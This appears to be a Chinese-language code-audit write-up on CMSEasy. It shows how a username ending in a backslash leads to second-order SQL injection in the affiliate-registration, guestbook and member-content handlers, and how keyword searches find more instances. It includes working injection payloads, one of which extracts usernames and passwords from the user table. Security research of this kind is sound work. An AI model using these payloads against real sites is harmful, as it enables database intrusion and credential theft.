首先来看看union_act.php:
注意这里:
$insert1 = $this->_union->rec_insert($unionarr);
我们来看看rec_insert的处理:
最后直接进入INSERT INTO,进入SQL语句
大家知道这里的front::$post取出来的内容都是被过滤,转义的内容,所以没办法利用
我们来看看$this->view->data['username']这个内容是什么
还是union_act.php文件:
注意这几处关系:
$user=$user->getrow(array('username'=>cookie::get('login_username')));
$this->view->user = $user;
$this->view->data = $this->view->user;
所以由上面三处赋值关系可以看到
$this->view->data就是当前登录用户的用户属性信息。
所以到这里我们来想一想:
要是这里的用户属性信息就是$this->view->data的内容再进入SQL语句时,能带入单引号’或者反斜杠\,那么就可能导致SQL注入。
带着这个问题,我们来看看$this->view->data即用户属性信息是如何存进数据库的,能不能带入特殊符号进入。
来看看user_act.php,看看用户注册是带入的用户信息:
可以看到这里的用户名username直接赋给了cookie[login_username]
通过测试,我们发现在注册是用户名username处可以注册反斜杠“\”,如图:
然后我们来证明漏洞:
首先注册推广联盟:
然后抓包,此时cookie中的cookie[login_username]为222222\\,这里修改为222222\
然后修改postdata中payaccount=,222222,USER(),2,1111111,1111111,11)#
然后提交。
数据库执行记录:
最后看看注册推广联盟后的资料:
Website字段的内容已经被修改为user()的值了!
=========================================华丽的分割线=====================================
通过对cmseasy的代码审计发现此问题不知一处,存在多处
问题的原理都是一样username直接进入SQL语句,但是之间的关系和利用却不一样。
下面我们来看看如何快速找出同一问题引发的大面积问题及漏洞点
也就是我们要说的如何从找到一处SQL注入漏洞到多处SQL注入漏洞。
首先我们上面分析的推广联盟注册处的SQL注入漏洞中,可以看到:
第一, 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;
第二, 此user的属性信息$this->view->user[‘username’]被赋给了某一变量,然后进入了数据库。
那么我们先来搜索取出用户信息的文件,去掉admin文件:
全局搜索:$user=$user->getrow(array('username'=>cookie::get('login_username')))内容
下来看看取出user的信息是否付给$this->view->user,去掉admin文件
然后来看看$this->view->user[‘username’]被赋值的情况,去掉admin文件
全局搜索=$this->view->user['username'],记得有个=号
最后集合三次的搜索,满足两个条件的文件有:
Guestbook_cat.php、mamage_act.php文件
来看看guestbook_act.php文件,是否存在SQL注入漏洞
这里在留言时:
front::$post['username']=$this->view->user['username'];
然后
$data=front::$post;
$insert=$this->_table->rec_insert($data);
最后$this->view->user['username']进入了rec_insert
在rec_insert中进入了SQL语句,没有处理,导致了同样的SQL注入漏洞
只要在留言时,修改留言内容为:
guesttel=333333&nickname=333333&guestemail=333333&guestqq=333333&title=333333&username=333333&content=,(SELECT CONCAT(USERNAME,0x23,PASSWORD) FROM cmseasy_user WHERE LIMIT 0,1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+
然后在留言内容中就可得到用户账户信息。
结论:
成功找到一处SQL注入漏洞
再来看看另外一个文件manage_act.php文件
取出了user的属性信息,并赋给了$this->view->user
在会员中心,内容管理处:
注意这里:
front::$post['username']=$this->view->user['username'];
front::$post['author']=$this->view->user['username'];
$data=array_merge($data,front::$post);
$insert=$this->_table->rec_insert($data);
最后$this->view->user['username']也进入了数据库,也导致了SQL注入。
具体构造就不给出了。
结论:
成功找到一处SQL注入漏洞
下面我们再来扩展:
第一、 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;或者赋给其他;或者$this->view->user再次赋给其他,如$this->view->data = $this->view->user;
第二、 此user的属性信息$this->view->user[‘username’]或者$this->view->data[‘username’]被赋给了某一变量,然后进入了数据库。
第三、 在搜索赋值操作时,如全局搜索:$this->view->user=$user时,再搜索一次
$this->view->user = $user,注意这里=号两边的空格
然后根据上面的步骤,我们来验证一下:
全局搜索$user=$user->getrow(array('username'=>cookie::get('login_username'))
全局搜索:
$this->view->user = $user以及$this->view->user=$user
然后继续全局搜索
=$this->view->user以及= $this->view->user
最后全局搜索
= $this->view->data['username']以及$this->view->data['username']
最后又搜索到union_act.php文件
正如我们最开始分析的推广联盟注册时的漏洞一样!
结论:
成功找到一处SQL注入漏洞
下面我们再来一次扩展:
第一、 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;或者赋给其他;或者$this->view->user再次赋给其他,如$this->view->data = $this->view->user;
第二、 此user的属性信息$this->view->user[‘username’]或者$this->view->data[‘username’]通过拼接赋给一个变量,或者直接进入SQL语句
第三、 如xxx.$this->view->user['username'].yyy
下面我们来验证一下:
全局搜索$user=$user->getrow(array('username'=>cookie::get('login_username'))
全局搜索:
$this->view->user = $user以及$this->view->user=$user
最后全局搜索
.$this->view->user['username']以及$this->view->user['username'].
最后又能搜到vote_act.php
然后再投票时:
可以看打开$this->view->user['username']通过拼接进入$vote_data数组
然后$vote_data数字进入rec_replace,进入SQL语句
但是这里$this->view->user['username']在拼接时,最后面加上了一个逗号:
'users'=>$_vote['users'].$this->view->user['username'].','
这样的话,username的反斜杠就数去对单引号的注释作用了。
结论:
成功找到一处SQL注入问题点,但是无法利用,漏洞查找失败!
总结:
通过上面的方法首先找到一处注入点,分析此问题的出发点及原理,以及整个过程的利用
然后通过整个过程中的关键字匹配,快速找到其他问题点,快速找到漏洞!